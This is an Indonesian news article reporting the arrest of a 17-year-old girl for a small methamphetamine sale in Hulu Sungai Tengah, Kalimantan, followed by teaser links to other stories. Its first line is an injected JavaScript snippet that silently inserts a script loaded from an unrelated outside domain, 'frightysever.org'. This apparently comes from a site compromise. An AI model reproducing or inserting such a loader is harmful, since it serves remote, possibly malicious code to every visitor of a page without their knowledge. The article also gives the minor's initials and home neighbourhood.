(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BARABAI, Tidak tahu apa yang ada dibenak gadis remaja ini hingga mengenal narkoba dan akhirnya harus berurusan dengan Satuan Reserse Narkoba (Sat Resnarkoba) Polres Hulu Sungai Tengah (HST). Pelaku ditangkap saat bertransaksi sabu di depan SDN Lok Besar, Desa Lok Besar, Kecamatan Batang Alai Selatan, Senin (7/1) pukul 23.30 Wita.
Pelaku berinisal NH (17) warga Desa Hawang, RT 006/ RW 003, Kecamatan Batang Alai Selatan. Menurut Kapolres HST AKBP Sabana Atmojo, kronologis penangkapan pelaku bermula saat petugas mendapat informasi dari masyarakat bahwa di Desa Lok Besar sering terjadi transaksi narkoba. Tidak menyia – nyiakan informasi tersebut, petugas dari Sat Resnarkoba Polres HST melakukan penyelidikan di sekitar TKP.
Disana muncullah pelaku yang saat itu mengendarai sepeda motor Suzuki Satria FU 150 warna hitam dengan nopol KT 3133 EO bertransaksi narkoba. Kemudian petugas melakukan penangkapan terhadap pelaku dan berhasil menemukan barang bukti 1 paket Shabu yang diletakan pelaku diatas meja warung. Selanjutnya pelaku beserta barang bukti dibawa ke Polres HST guna penyidikan lebih lanjut.
“Dari tangan pelaku, petugas berhasil mengamankan barang bukti berupa 1 paket Shabu dengan berat 0,10 gram, 1 buah handphone dan sepeda motor Suzuki Satria FU 150 warna hitam,†kata Kapolres.
Pelaku dapat dijerat dengan Pasal 114 ayat (1) sub Pasal 112 ayat (1) UU No.35 tahun 2009 tentang Narkotika dengan ancaman kurungan penjara paling lama 20 tahun.(rico)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.